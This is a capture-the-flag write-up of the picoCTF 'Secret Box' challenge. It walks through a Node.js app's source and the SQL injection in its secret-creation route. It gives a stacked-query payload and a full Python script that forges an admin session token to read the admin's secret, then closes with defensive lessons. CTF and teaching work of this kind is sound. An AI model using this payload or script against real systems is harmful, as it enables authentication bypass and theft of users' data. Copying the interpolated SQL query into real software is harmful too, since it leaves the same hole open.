picoCTF - Web Exploitation

Secret Box

picoCTF Secret Box writeup exploiting SQL injection to forge authentication tokens and access the secret content containing the flag.

Contents

Secret Box

Challenge Summary

This picoCTF challenge presented a small secret-sharing web app and claimed that only each user could see their own secrets. The goal was to recover the admin’s secret from the live site.

Target:

http://candy-mountain.picoctf.net:52404/

Provided file:

  • source.tar.gz

The source code was the key to solving the challenge.

Initial Analysis

After extracting the archive, the important files were:

  • app/src/server.js
  • app/src/handler.js
  • app/src/db.js
  • db/initdb.sql

The database initialization file showed a seeded admin account and admin secret:

INSERT INTO users(id, username, password) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password');
INSERT INTO secrets(owner_id, content) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{<redacted>}');

Later, db.js replaced those placeholders with the real password and flag from environment variables:

await db('users')
  .where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
  .update({ password: process.env.USERPASSWORD });

await db('secrets')
  .where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
  .update({ content: process.env.FLAG });

So the admin UUID was fixed and known:

e2a66f7d-2ce6-4861-b4aa-be8e069601cb

Looking for the Injection Point

Most of the queries were parameterized safely. For example, login used:

const userResult = await db.raw(
  `SELECT * FROM users WHERE username = ? AND password = ? LIMIT 1`,
  [username, password]
);

The vulnerable route was POST /secrets/create:

app.post('/secrets/create', authMiddleware, async (req, res) => {
  const userId = req.userId;
  if (!userId){
    res.clearCookie('auth_token');
    return res.redirect('/');
  }

  const content = req.body.content;
  const query = await db.raw(
    `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
  );

  return res.redirect('/');
});

This is classic SQL injection:

  • userId is interpolated directly
  • content is interpolated directly
  • the query is not parameterized

That means any authenticated user can break out of the string inside content and run arbitrary SQL.

Exploitation Strategy

The cleanest approach was:

  1. Sign up as a normal user
  2. Log in normally
  3. Use the SQL injection in /secrets/create to insert a valid token for the admin user
  4. Replace the browser cookie auth_token with the forged admin token
  5. Visit / and read the admin’s secret

This works because the authentication middleware trusts the tokens table:

const query = await db.raw(
  `SELECT * FROM tokens WHERE id = ? AND expired_at > NOW()`,
  [token]
);

If we can insert our own row into tokens with:

  • a token ID we choose
  • user_id set to the admin UUID

then the server will accept us as admin.

Injection Payload

The original vulnerable query looked like:

INSERT INTO secrets(owner_id, content) VALUES ('<userId>', '<content>')

So the payload can terminate the content string, close the VALUES clause, and add a second SQL statement:

x'); INSERT INTO tokens(id, user_id) VALUES ('MYTOKEN', 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb');--

This transforms the query into:

INSERT INTO secrets(owner_id, content) VALUES ('<our_user_id>', 'x');
INSERT INTO tokens(id, user_id) VALUES ('MYTOKEN', 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb');
--')

The trailing -- comments out the leftover characters.

Working Exploit Script

A working solution using Python requests:

import requests
import uuid

BASE = "http://candy-mountain.picoctf.net:52404"
ADMIN_ID = "e2a66f7d-2ce6-4861-b4aa-be8e069601cb"

username = "u" + uuid.uuid4().hex[:8]
password = "p" + uuid.uuid4().hex[:8]
forged_token = "tok_" + uuid.uuid4().hex

s = requests.Session()

# create user
s.post(BASE + "/signup", data={
    "username": username,
    "password": password
})

# log in as the new user
s.post(BASE + "/login", data={
    "username": username,
    "password": password
})

# SQL injection to insert an admin token we control
payload = (
    "x'); INSERT INTO tokens(id, user_id) VALUES "
    f"('{forged_token}', '{ADMIN_ID}');--"
)

s.post(BASE + "/secrets/create", data={
    "content": payload
})

# replace cookie with forged admin token
s.cookies.set("auth_token", forged_token, domain="candy-mountain.picoctf.net", path="/")

# read admin secrets
r = s.get(BASE + "/")
print(r.text)

Result

After forging an admin token and reloading the homepage, the admin’s secret was displayed:

picoCTF{<redacted>}

Flag

picoCTF{<redacted>}

Why This Worked

The application made two critical mistakes:

  1. It built SQL in /secrets/create using string interpolation.
  2. It trusted database-backed tokens without any additional integrity checks.

Once arbitrary SQL execution was available, creating an admin session became easier than trying to guess the admin password.

Security Lessons

  • Never build SQL queries with string interpolation.
  • Use parameterized queries consistently, especially on insert routes.
  • Treat session and token tables as sensitive authentication state.
  • A low-privilege SQL injection often becomes full authentication bypass.
  • Knowing a fixed admin UUID or user ID can make privilege escalation trivial.

Takeaway

This was not solved by logging in as admin directly. Instead, it was solved by creating a normal user account, abusing the SQL injection in secret creation, inserting a valid admin token into the database, and then presenting that token back to the server.

Recovered flag:

picoCTF{<redacted>}